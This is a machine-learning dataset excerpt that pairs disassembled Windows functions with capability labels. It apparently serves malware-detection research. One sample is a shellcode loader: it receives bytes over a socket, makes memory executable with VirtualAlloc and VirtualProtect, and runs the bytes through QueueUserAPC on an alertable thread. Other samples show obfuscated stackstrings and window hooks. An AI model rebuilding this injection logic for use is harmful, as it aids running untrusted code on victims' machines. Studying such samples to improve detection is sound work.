joyce8/EMBER2024-capa huggingface dataset:
Function at 0x453bc0
Capabilities:
Access peb ldr_data

Disassembly:
cmp rsp, qword [r14 + 0x10]
jbe 0x453c6f
push rbp
mov rbp, rsp
sub rsp, 0x58
mov qword [rsp + 0x70], rbx
lea rdx, [rsp + 0x68]
mov qword [rsp + 8], 0
movups xmmword [rsp + 0x10], xmm15
movups xmmword [rsp + 0x18], xmm15
movups xmmword [rsp + 0x28], xmm15
movups xmmword [rsp + 0x38], xmm15
movups xmmword [rsp + 0x48], xmm15
lea rsi, [0x00453cc0]
mov qword [rsp + 0x10], rsi
mov rsi, qword [rsp + 0x60]
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdx
mov rdx, r14
mov qword [rsp + 0x28], rdx
lea rdx, [rsp + 8]
mov qword [rsp + 0x30], rdx
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x48], rcx
mov qword [rsp + 0x50], rdi
mov qword [rsp + 0x40], rbx
lea rax, [rsp + 0x10]
mov qword [rsp], rax
call fcn.0045a800
xorps xmm15, xmm15
mov r14, qword [0x005717a0]
mov r14, qword gs:[r14]
mov r14, qword [r14]
mov rax, qword [rsp + 8]
add rsp, 0x58
pop rbp
ret
mov qword [rsp + 8], rax
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rcx
mov qword [rsp + 0x20], rdi
call fcn.0045a920
mov rax, qword [rsp + 8]
mov rbx, qword [rsp + 0x10]
mov rcx, qword [rsp + 0x18]
mov rdi, qword [rsp + 0x20]
nop dword [rax]
jmp fcn.00453bc0
Function at 0x45e4e0
Capabilities:
Allocate thread local storage

Disassembly:
push rbp
mov rbp, rsp
mov rax, rsp
and rsp, 0xfffffffffffffff0
sub rsp, 0x30
mov qword [rsp + 0x20], rax
mov rax, qword [sym.imp.kernel32.dll_TlsAlloc]
call rax
mov rsp, qword [rsp + 0x20]
mov rcx, rax
cmp rcx, 0x40
jb 0x45e514
mov rcx, 0x28
jmp 0x45e51f
shl rcx, 3
add rcx, 0x1480
mov qword [0x005717a0], rcx
pop rbp
ret

Function at 0x4654c0
Capabilities:
Access peb ldr_data

Disassembly:
cmp rsp, qword [r14 + 0x10]
jbe 0x46558a
push rbp
mov rbp, rsp
sub rsp, 0x48
mov qword [rsp + 0x58], rax
mov qword [rsp + 0x60], rbx
mov qword [rsp], rax
mov qword [rsp + 8], rbx
mov byte [rsp + 0x10], 0
call fcn.00402ac0
xorps xmm15, xmm15
mov r14, qword [0x005717a0]
mov r14, qword gs:[r14]
mov r14, qword [r14]
cmp qword [rsp + 0x18], 0xffffffffffffffff
jne 0x46556f
mov rcx, qword [rsp + 0x60]
lea rdx, [rcx + 1]
mov qword [rsp + 0x40], rdx
lea rax, [0x0046c4e0]
xor ebx, ebx
mov rcx, rdx
call fcn.00444d60
mov rbx, qword [rsp + 0x60]
mov rcx, rax
xor edi, edi
mov rsi, qword [rsp + 0x40]
mov rax, qword [rsp + 0x58]
nop dword [rax]
call fcn.00465820
inc rbx
cmp rcx, rbx
jae 0x46555e
mov edi, 1
lea rsi, [0x0046c4e0]
call fcn.00444e40
mov word [rax + rbx*2 - 2], 0
xor edi, edi
xor esi, esi
add rsp, 0x48
pop rbp
ret
xor eax, eax
xor ebx, ebx
mov rcx, rbx
lea rdi, [0x00495088]
lea rsi, [0x00494dd8]
add rsp, 0x48
pop rbp
ret
mov qword [rsp + 8], rax
mov qword [rsp + 0x10], rbx
call fcn.0045a920
mov rax, qword [rsp + 8]
mov rbx, qword [rsp + 0x10]
jmp fcn.004654c0
Function at 0x1400110d7
Capabilities:
Read file on windows

Disassembly:
jmp 0x140012690
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x188
lea rbp, [rsp + 0x20]
lea rdi, [rsp + 0x20]
mov ecx, 0x2a
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x1a8]
mov rax, qword [0x14001f040]
xor rax, rbp
mov qword [rbp + 0x158], rax
lea rcx, reloc.WS2_32.dll_accept
call fcn.140011442
lea r8, [0x14001c464]
mov rdx, qword [rbp + 0x188]
lea rcx, [rbp + 8]
call qword [sym.imp.ucrtbased.dll_fopen_s]
mov dword [rbp + 0x84], eax
cmp dword [rbp + 0x84], 0
je 0x140012719
lea rcx, str.Error_opening_file
call qword [sym.imp.ucrtbased.dll_perror]
xor eax, eax
jmp 0x1400127dc
mov r8d, 2
xor edx, edx
mov rcx, qword [rbp + 8]
call qword [sym.imp.ucrtbased.dll_fseek]
mov rcx, qword [rbp + 8]
call qword [sym.imp.ucrtbased.dll_ftell]
mov dword [rbp + 0x44], eax
mov rcx, qword [rbp + 8]
call qword [sym.imp.ucrtbased.dll_rewind]
movsxd rax, dword [rbp + 0x44]
mov rcx, rax
call qword [sym.imp.ucrtbased.dll_malloc]
mov qword [rbp + 0x28], rax
cmp qword [rbp + 0x28], 0
jne 0x140012775
lea rcx, str.Memory_allocation_error
call qword [sym.imp.ucrtbased.dll_perror]
mov rcx, qword [rbp + 8]
call qword [sym.imp.ucrtbased.dll_fclose]
xor eax, eax
jmp 0x1400127dc
movsxd rax, dword [rbp + 0x44]
mov r9, qword [rbp + 8]
mov r8, rax
mov edx, 1
mov rcx, qword [rbp + 0x28]
call qword [sym.imp.ucrtbased.dll_fread]
mov qword [rbp + 0x68], rax
movsxd rax, dword [rbp + 0x44]
cmp qword [rbp + 0x68], rax
je 0x1400127c2
lea rcx, str.Reading_error
call qword [sym.imp.ucrtbased.dll_perror]
mov rcx, qword [rbp + 0x28]
call qword [sym.imp.ucrtbased.dll_free]
mov rcx, qword [rbp + 8]
call qword [sym.imp.ucrtbased.dll_fclose]
xor eax, eax
jmp 0x1400127dc
mov rcx, qword [rbp + 8]
call qword [sym.imp.ucrtbased.dll_fclose]
mov rax, qword [rbp + 0x180]
mov ecx, dword [rbp + 0x44]
mov dword [rax], ecx
mov rax, qword [rbp + 0x28]
mov rdi, rax
lea rcx, [rbp - 0x20]
lea rdx, reloc.WS2_32.dll_accept
call fcn.1400113a7
mov rax, rdi
mov rcx, qword [rbp + 0x158]
xor rcx, rbp
call fcn.1400111f9
lea rsp, [rbp + 0x168]
pop rdi
pop rbp
ret

Function at 0x14001121c
Capabilities:
Receive data
Receive data on socket

Disassembly:
jmp 0x1400122a0
mov dword [rsp + 8], ecx
push rbp
push rdi
sub rsp, 0x148
lea rbp, [rsp + 0x20]
lea rcx, reloc.WS2_32.dll_accept
call fcn.140011442
mov dword [rbp + 4], 0x400
mov eax, dword [rbp + 4]
mov ecx, eax
call qword [sym.imp.ucrtbased.dll_malloc]
mov qword [rbp + 0x28], rax
movsxd rax, dword [rbp + 0x140]
xor r9d, r9d
mov r8d, dword [rbp + 4]
mov rdx, qword [rbp + 0x28]
mov rcx, rax
call qword [sym.imp.WS2_32.dll_recv]
mov dword [rbp + 0x44], eax
cmp dword [rbp + 0x44], 0xffffffff
jne 0x14001230e
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
mov edx, eax
lea rcx, str.Failed_to_recv_data__Error:_d_n
call fcn.1400111e0
jmp 0x140012321
mov r8, qword [rbp + 0x28]
mov edx, dword [rbp + 0x44]
lea rcx, str.Recv__d_bytes:__s_n
call fcn.1400111e0
mov rax, qword [rbp + 0x28]
lea rsp, [rbp + 0x128]
pop rdi
pop rbp
ret
Function at 0x140011230
Capabilities:
Allocate or change rwx memory

Disassembly:
jmp 0x140011a30
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x128
lea rbp, [rsp + 0x20]
lea rdi, [rsp + 0x20]
mov ecx, send
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x148]
mov rax, qword [0x14001f040]
xor rax, rbp
mov qword [rbp + 0xf8], rax
lea rcx, reloc.WS2_32.dll_accept
call fcn.140011442
mov qword [rbp + 8], 0
mov dword [rbp + 0x24], 0
mov r9d, 4
mov r8d, 0x3000
mov rdx, qword [rbp + 0x130]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov qword [rbp + 8], rax
cmp qword [rbp + 8], 0
jne 0x140011ad3
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str._t____VirtualAlloc_Failed_With_Error_:__d__n
call fcn.1400111e0
xor eax, eax
jmp 0x140011b7a
mov r8, qword [rbp + 0x130]
mov rdx, qword [rbp + 0x128]
mov rcx, qword [rbp + 8]
call fcn.1400111fe
lea r9, [rbp + 0x24]
mov r8d, 0x40
mov rdx, qword [rbp + 0x130]
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x140011b33
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str._t____VirtualProtect_Failed_With_Error_:__d__n
call fcn.1400111e0
mov r8d, 0x8000
xor edx, edx
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_VirtualFree]
xor eax, eax
jmp 0x140011b7a
xor r8d, r8d
mov rdx, qword [rbp + 0x120]
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_QueueUserAPC]
test eax, eax
jne 0x140011b75
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str._t____QueueUserAPC_Failed_With_Error_:__d__n
call fcn.1400111e0
mov r8d, 0x8000
xor edx, edx
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_VirtualFree]
xor eax, eax
jmp 0x140011b7a
mov eax, 1
mov rdi, rax
lea rcx, [rbp - 0x20]
lea rdx, reloc.WS2_32.dll_accept
call fcn.1400113a7
mov rax, rdi
mov rcx, qword [rbp + 0xf8]
xor rcx, rbp
call fcn.1400111f9
lea rsp, [rbp + 0x108]
pop rdi
pop rbp
ret

Function at 0x140011258
Capabilities:
Terminate process

Disassembly:
jmp 0x140015190
mov qword [rsp + 8], rcx
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x28
ret
Function at 0x1400112da
Capabilities:
Create thread

Disassembly:
jmp 0x140012360
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x178
lea rbp, [rsp + 0x30]
lea rdi, [rsp + 0x30]
mov ecx, 0x22
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x198]
mov rax, qword [0x14001f040]
xor rax, rbp
mov qword [rbp + 0x138], rax
lea rcx, reloc.WS2_32.dll_accept
call fcn.140011442
mov qword [rbp + 8], 0
mov dword [rbp + 0x24], 0
mov rdx, qword [rbp + 0x168]
mov rcx, qword [rbp + 0x160]
call fcn.140011433
mov dword [rbp + 0x44], eax
mov ecx, dword [rbp + 0x44]
call fcn.14001121c
mov qword [rbp + 0x68], rax
lea rax, [rbp + 0x24]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 0
xor r9d, r9d
lea r8, [0x140011406]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov qword [rbp + 8], rax
cmp qword [rbp + 8], 0
jne 0x140012427
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____CreateThread_Failed_With_Error_:__d__n
call fcn.1400111e0
xor eax, eax
jmp 0x14001247f
mov edx, dword [rbp + 0x24]
lea rcx, str.___Alertable_Target_Thread_Created_With_Id_:__d__n
call fcn.1400111e0
mov r8d, 0x400
mov rdx, qword [rbp + 0x68]
mov rcx, qword [rbp + 8]
call fcn.140011230
mov edx, 0xffffffff
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, qword [rbp + 0x68]
call qword [sym.imp.ucrtbased.dll_free]
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
movsxd rax, dword [rbp + 0x44]
mov rcx, rax
call qword [sym.imp.WS2_32.dll_closesocket]
call qword [sym.imp.WS2_32.dll_WSACleanup]
mov rdi, rax
lea rcx, [rbp - 0x30]
lea rdx, reloc.WS2_32.dll_accept
call fcn.1400113a7
mov rax, rdi
mov rcx, qword [rbp + 0x138]
xor rcx, rbp
call fcn.1400111f9
lea rsp, [rbp + 0x148]
pop rdi
pop rbp
ret
Function at 0x140011302
Capabilities:
Terminate process

Disassembly:
jmp 0x140012510
mov qword [rsp + 0x10], rdx
mov dword [rsp + 8], ecx
push rbp
push rdi
sub rsp, 0xe8
lea rbp, [rsp + 0x20]
lea rcx, reloc.WS2_32.dll_accept
call fcn.140011442
cmp dword [rbp + 0xe0], 2
jge 0x140012553
lea rcx, str.Usage:_serverclient_for_your_IP_n
call fcn.1400111e0
mov ecx, 1
call qword [sym.imp.ucrtbased.dll_exit]
mov eax, 8
imul rax, rax, 1
lea rdx, str.server
mov rcx, qword [rbp + 0xe8]
mov rcx, qword [rcx + rax]
call fcn.1400114b5
test eax, eax
jne 0x1400125c6
cmp dword [rbp + 0xe0], 4
jl 0x1400125af
mov eax, 8
imul rax, rax, 3
mov ecx, 8
imul rcx, rcx, 2
mov rdx, qword [rbp + 0xe8]
mov rdx, qword [rdx + rax]
mov rax, qword [rbp + 0xe8]
mov rcx, qword [rax + rcx]
call fcn.14001146a
jmp 0x1400125c6
lea rcx, str.____Pleas_Check_your_argv
call fcn.1400111e0
mov ecx, 1
call qword [sym.imp.ucrtbased.dll_exit]
mov eax, 8
imul rax, rax, 1
lea rdx, str.client
mov rcx, qword [rbp + 0xe8]
mov rcx, qword [rcx + rax]
call fcn.1400114b5
test eax, eax
jne 0x14001262c
lea rcx, str.client__ip___port__n
call fcn.1400111e0
cmp dword [rbp + 0xe0], 4
jl 0x14001262c
mov eax, 8
imul rax, rax, 3
mov ecx, 8
imul rcx, rcx, 2
mov rdx, qword [rbp + 0xe8]
mov rdx, qword [rdx + rax]
mov rax, qword [rbp + 0xe8]
mov rcx, qword [rax + rcx]
call fcn.1400112da
jmp 0x140012630
xor eax, eax
lea rsp, [rbp + 0xc8]
pop rdi
pop rbp
ret

Function at 0x14001130c
Capabilities:
Parse pe header

Disassembly:
jmp 0x1400164e0
sub rsp, 0x38
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
jne 0x140016500
xor al, al
jmp 0x140016581
mov rax, qword [rsp + 0x20]
movzx eax, word [rax]
cmp eax, 0x5a4d
je 0x140016513
xor al, al
jmp 0x140016581
mov rax, qword [rsp + 0x20]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x20]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
cmp dword [rax], 0x4550
je 0x14001653d
xor al, al
jmp 0x140016581
mov rax, qword [rsp + 0x28]
movzx eax, word [rax + 0x18]
cmp eax, 0x20b
je 0x140016551
xor al, al
jmp 0x140016581
mov rax, qword [rsp + 0x28]
cmp dword [rax + 0x84], 0xe
ja 0x140016563
xor al, al
jmp 0x140016581
mov eax, 8
imul rax, rax, 0xe
mov rcx, qword [rsp + 0x28]
cmp dword [rcx + rax + 0x88], 0
jne 0x14001657f
xor al, al
jmp 0x140016581
mov al, 1
add rsp, 0x38
ret
Function at 0x1400113e3
Capabilities:
Send data
Send data on socket

Disassembly:
jmp 0x140012870
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x148
lea rbp, [rsp + 0x20]
lea rdi, [rsp + 0x20]
mov ecx, 0x1a
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x168]
mov rax, qword [0x14001f040]
xor rax, rbp
mov qword [rbp + 0x118], rax
lea rcx, reloc.WS2_32.dll_accept
call fcn.140011442
mov rdx, qword [rbp + 0x148]
lea rcx, [rbp + 4]
call fcn.1400110d7
mov qword [rbp + 0x28], rax
cmp qword [rbp + 0x28], 0
jne 0x1400128e7
lea rcx, str.Failed_to_get_shellcode_n
call fcn.1400111e0
jmp 0x140012944
xor r9d, r9d
mov r8d, dword [rbp + 4]
mov rdx, qword [rbp + 0x28]
mov rcx, qword [rbp + 0x140]
call qword [sym.imp.WS2_32.dll_send]
mov dword [rbp + 0x44], eax
cmp dword [rbp + 0x44], 0xffffffff
jne 0x14001291e
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
mov edx, eax
lea rcx, str.Failed_to_send_data_to_client__Error:__d_n
call fcn.1400111e0
jmp 0x14001292d
mov edx, dword [rbp + 0x44]
lea rcx, str.Sent__d_bytes_to_client_n
call fcn.1400111e0
mov rcx, qword [rbp + 0x28]
call qword [sym.imp.ucrtbased.dll_free]
mov rcx, qword [rbp + 0x140]
call qword [sym.imp.WS2_32.dll_closesocket]
lea rcx, [rbp - 0x20]
lea rdx, reloc.WS2_32.dll_accept
call fcn.1400113a7
mov rcx, qword [rbp + 0x118]
xor rcx, rbp
call fcn.1400111f9
lea rsp, [rbp + 0x128]
pop rdi
pop rbp
ret
Function at 0x180010b50
Capabilities:
Contain obfuscated stackstrings

Disassembly:
sub rsp, 0x158
mov rax, qword [0x180071400]
xor rax, rsp
mov qword [rsp + 0x140], rax
cmp edx, 1
jne 0x180010c2e
lea rdx, [rsp + 0x30]
mov r8d, 0x104
xor ecx, ecx
call fcn.18000ec10
lea rcx, [rsp + 0x30]
mov edx, 0x104
call fcn.180014644
lea rdx, [rsp + 0x20]
lea rcx, [rsp + 0x30]
mov dword [rsp + 0x26], 0x75732074
mov dword [rsp + 0x2c], 0x74726f
mov dword [rsp + 0x21], 0x6174736e
mov word [rsp + 0x2a], 0x7070
mov byte [rsp + 0x20], 0x69
mov byte [rsp + 0x25], 0x6e
call fcn.18001434c
test rax, rax
jne 0x180010c62
lea rdx, [sym.gphelper.dll_HookSetWindowPos]
lea rcx, [0x180072ad8]
call fcn.180011a70
test eax, eax
je 0x180010c62
lea rdx, [sym.gphelper.dll_HookSetForegroundWindow]
lea rcx, [0x180072ab0]
call fcn.180011a70
test eax, eax
je 0x180010c62
lea rdx, [sym.gphelper.dll_HookSetActiveWindow]
lea rcx, [0x180072bd0]
call fcn.180011a70
test eax, eax
je 0x180010c62
lea rdx, [sym.gphelper.dll_HookBringWindowToTop]
lea rcx, [0x180072b58]
call fcn.180011a70
jmp 0x180010c62
test edx, edx
jne 0x180010c62
lea rcx, [0x180072ad8]
call fcn.180011ed0
lea rcx, [0x180072ab0]
call fcn.180011ed0
lea rcx, [0x180072bd0]
call fcn.180011ed0
lea rcx, [0x180072b58]
call fcn.180011ed0
mov eax, 1
mov rcx, qword [rsp + 0x140]
xor rcx, rsp
call fcn.180012c90
add rsp, 0x158
ret
Function at 0x2fc4db2d0
Capabilities:
Write file on windows

Disassembly:
push rbp
push rbx
sub rsp, 0x38
lea rbp, [rsp + 0x30]
mov qword [rbp + 0x20], rcx
mov qword [rbp + 0x28], rdx
mov qword [rbp + 0x30], r8
mov qword [rbp + 0x38], r9
lea rax, [rbp + 0x28]
mov qword [rbp - 8], rax
mov ecx, 2
call sym.__acrt_iob_func
mov r9, rax
mov r8d, 0x1b
mov edx, 1
lea rax, str.Mingw_w64_runtime_failure:_n
mov rcx, rax
call sym.fwrite
mov rbx, qword [rbp - 8]
mov ecx, 2
call sym.__acrt_iob_func
mov rcx, rax
mov rax, qword [rbp + 0x20]
mov r8, rbx
mov rdx, rax
call sym.vfprintf
call sym.abort
nop

Function at 0x2fc4dbcd2
Capabilities:
Get thread local storage value

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x30
mov eax, dword [0x2fc500108]
test eax, eax
je 0x2fc4dbd6a
lea rax, [0x2fc5000e0]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
call rax
mov rax, qword [0x2fc500110]
mov qword [rbp - 8], rax
jmp 0x2fc4dbd4e
mov rax, qword [rbp - 8]
mov eax, dword [rax]
mov ecx, eax
mov rax, qword [sym.imp.KERNEL32.dll_TlsGetValue]
call rax
mov qword [rbp - 0x10], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
test eax, eax
jne 0x2fc4dbd42
cmp qword [rbp - 0x10], 0
je 0x2fc4dbd42
mov rax, qword [rbp - 8]
mov rdx, qword [rax + 8]
mov rax, qword [rbp - 0x10]
mov rcx, rax
call rdx
mov rax, qword [rbp - 8]
mov rax, qword [rax + 0x10]
mov qword [rbp - 8], rax
cmp qword [rbp - 8], 0
jne 0x2fc4dbd08
lea rax, [0x2fc5000e0]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
call rax
jmp 0x2fc4dbd6b
nop
add rsp, 0x30
pop rbp
ret

Function at 0x2fc4dbe70
Capabilities:
Parse pe header

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov qword [rbp + 0x10], rcx
mov rax, qword [rbp + 0x10]
mov qword [rbp - 8], rax
mov rax, qword [rbp - 8]
movzx eax, word [rax]
cmp ax, 0x5a4d
je 0x2fc4dbe98
mov eax, 0
jmp 0x2fc4dbee6
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp - 8]
add rax, rdx
mov qword [rbp - 0x10], rax
mov rax, qword [rbp - 0x10]
mov eax, dword [rax]
cmp eax, 0x4550
je 0x2fc4dbec1
mov eax, 0
jmp 0x2fc4dbee6
mov rax, qword [rbp - 0x10]
add rax, 0x18
mov qword [rbp - 0x18], rax
mov rax, qword [rbp - 0x18]
movzx eax, word [rax]
cmp ax, 0x20b
je 0x2fc4dbee1
mov eax, 0
jmp 0x2fc4dbee6
mov eax, 1
add rsp, 0x20
pop rbp
ret
Function at 0x2fc4dbeec
Capabilities:
Enumerate pe sections

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov qword [rbp + 0x10], rcx
mov qword [rbp + 0x18], rdx
mov rax, qword [rbp + 0x10]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp + 0x10]
add rax, rdx
mov qword [rbp - 0x18], rax
mov dword [rbp - 0xc], 0
mov rax, qword [rbp - 0x18]
movzx eax, word [rax + 0x14]
movzx edx, ax
mov rax, qword [rbp - 0x18]
add rax, rdx
add rax, 0x18
mov qword [rbp - 8], rax
jmp 0x2fc4dbf6a
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0xc]
mov eax, eax
cmp qword [rbp + 0x18], rax
jb 0x2fc4dbf61
mov rax, qword [rbp - 8]
mov edx, dword [rax + 0xc]
mov rax, qword [rbp - 8]
mov eax, dword [rax + 8]
add eax, edx
mov eax, eax
cmp qword [rbp + 0x18], rax
jae 0x2fc4dbf61
mov rax, qword [rbp - 8]
jmp 0x2fc4dbf7f
add dword [rbp - 0xc], 1
add qword [rbp - 8], 0x28
mov rax, qword [rbp - 0x18]
movzx eax, word [rax + 6]
movzx eax, ax
cmp dword [rbp - 0xc], eax
jb 0x2fc4dbf34
mov eax, 0
add rsp, 0x20
pop rbp
ret
Function at 0x140022e80
Capabilities:
Set registry value

Disassembly:
sub rsp, 0x288
mov rax, qword [0x1402ac7a8]
xor rax, rsp
mov qword [rsp + 0x270], rax
lea rax, [rsp + 0x58]
xor r9d, r9d
mov qword [rsp + 0x40], rax
lea rdx, str.SoftwareNohope92Moss
lea rax, [rsp + 0x50]
xor r8d, r8d
mov qword [rsp + 0x38], rax
mov rcx, 0xffffffff80000001
xor eax, eax
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x28], 0xf003f
mov dword [rsp + 0x20], eax
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
test eax, eax
jne 0x140022f8a
mov rcx, qword [rsp + 0x50]
lea rax, [0x1403a1f50]
mov dword [rsp + 0x28], 4
lea rdx, [0x14026ae80]
mov r9d, 4
mov qword [rsp + 0x20], rax
xor r8d, r8d
mov qword [rsp + 0x280], rbx
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
xor edx, edx
lea rcx, [rsp + 0x60]
mov r8d, 0x208
mov rbx, rax
call fcn.1401bcf00
mov r8d, 0x104
lea rdx, [rsp + 0x60]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
mov rcx, qword [rsp + 0x50]
lea rax, [rsp + 0x60]
mov dword [rsp + 0x28], 0x208
lea rdx, str.LAST_PATH
mov r9d, 1
mov qword [rsp + 0x20], rax
xor r8d, r8d
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov rbx, qword [rsp + 0x280]
mov rcx, qword [rsp + 0x270]
xor rcx, rsp
call fcn.1401b6f40
add rsp, 0x288
ret

Function at 0x140022fb0
Capabilities:
Set registry value

Disassembly:
sub rsp, 0x288
mov rax, qword [0x1402ac7a8]
xor rax, rsp
mov qword [rsp + 0x270], rax
xor edx, edx
lea rcx, [rsp + 0x60]
mov r8d, 0x208
call fcn.1401bcf00
lea rax, [rsp + 0x58]
xor r9d, r9d
mov qword [rsp + 0x40], rax
lea rdx, str.SoftwareNohope92Moss
lea rax, [rsp + 0x50]
xor r8d, r8d
mov qword [rsp + 0x38], rax
mov rcx, 0xffffffff80000001
xor eax, eax
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x28], 0xf003f
mov dword [rsp + 0x20], eax
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
test eax, eax
jne 0x140023088
lea r8, str.6_7_5
mov edx, 0x104
lea rcx, [rsp + 0x60]
call fcn.1401c979c
mov rcx, qword [rsp + 0x50]
lea rax, [rsp + 0x60]
mov dword [rsp + 0x28], 0x208
lea rdx, str.Version
mov r9d, 1
mov qword [rsp + 0x20], rax
xor r8d, r8d
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov al, 1
mov rcx, qword [rsp + 0x270]
xor rcx, rsp
call fcn.1401b6f40
add rsp, 0x288
ret
xor al, al
mov rcx, qword [rsp + 0x270]
xor rcx, rsp
call fcn.1401b6f40
add rsp, 0x288
ret
Function at 0x1000116a0
Capabilities:
Get graphical window text

Disassembly:
mov rax, rsp
push rdi
push r12
push r13
sub rsp, 0xa0
mov qword [rsp + 0x60], 0xfffffffffffffffe
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x20], rsi
mov r13d, edx
mov rbp, rcx
test edx, edx
jne 0x10002dbf2
lea ebx, [rdx + 5]
mov edx, ebx
mov rcx, qword [rcx + 0x600]
call qword [sym.imp.USER32.dll_ShowWindow]
mov edx, ebx
mov rcx, qword [rbp + 0x190]
call qword [sym.imp.USER32.dll_ShowWindow]
mov ecx, 0x2e0
call fcn.100001c10
mov r11, rax
mov qword [rsp + 0xd0], rax
test rax, rax
je 0x10002dbea
lea r9, [rbp + 0x5f8]
lea r10, [rbp + 0x5e0]
lea r8, [rbp + 0x458]
lea rdx, [rbp + 0x188]
mov rcx, qword [rbp + 0x170]
mov qword [rsp + 0x50], rcx
mov qword [rsp + 0x48], r9
mov rcx, qword [rbp + 0x110]
mov qword [rsp + 0x40], rcx
mov rax, qword [rbp + 0x108]
mov qword [rsp + 0x38], rax
mov rax, qword [rbp + 0x100]
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x28], r10
mov dword [rsp + 0x20], 0xb4
mov r9d, 0xaa
mov rcx, r11
call fcn.10001191c
mov r12, rax
jmp 0x100011782
mov qword [rbp + 0x180], r12
jmp 0x10001178b
lea r9, [r12 + 0x128]
lea rdx, [r12 + 0x2d0]
mov dword [rsp + 0x30], r13d
mov dword [rsp + 0x28], 0x2e4
mov rax, qword [r12 + 0x120]
mov qword [rsp + 0x20], rax
lea r8, [0x10000e220]
mov rcx, r12
call fcn.100023f1c
test r13d, r13d
jne 0x1000118a0
mov r8, r12
lea edx, [r13 - 0x15]
mov rcx, qword [r12 + 0x130]
call qword [sym.imp.USER32.dll_SetWindowLongPtrW]
lea rdx, [rsp + 0x88]
mov rcx, qword [r12 + 0x130]
call qword [sym.imp.USER32.dll_GetClientRect]
mov rcx, qword [r12 + 0x120]
lea rdx, [rsp + 0x78]
mov rcx, qword [rcx + 8]
call qword [sym.imp.USER32.dll_GetClientRect]
call fcn.100001bd8
mov edi, dword [rax + 0xf4]
call fcn.100001bd8
mov esi, dword [rax + 0xf0]
call fcn.100001bd8
mov ebx, dword [rax + 0xfc]
call fcn.100001bd8
movdqu xmm0, xmmword [r12 + 0x40]
movdqu xmmword [rsp + 0x68], xmm0
mov ecx, dword [rsp + 0x80]
lea r8d, [rcx + rdi*2]
mov dword [rsp + 0x70], r8d
mov edx, dword [rax + 0xf8]
add edx, ebx
add edx, esi
add edx, dword [rsp + 0x84]
add edx, dword [rsp + 0x94]
mov dword [rsp + 0x74], edx
mov eax, dword [rsp + 0x68]
mov dword [r12 + 0x40], eax
mov rax, qword [rsp + 0x68]
shr rax, 0x20
mov dword [r12 + 0x44], eax
mov dword [r12 + 0x48], r8d
mov rax, qword [rsp + 0x70]
shr rax, 0x20
add eax, dword [r12 + 0x80]
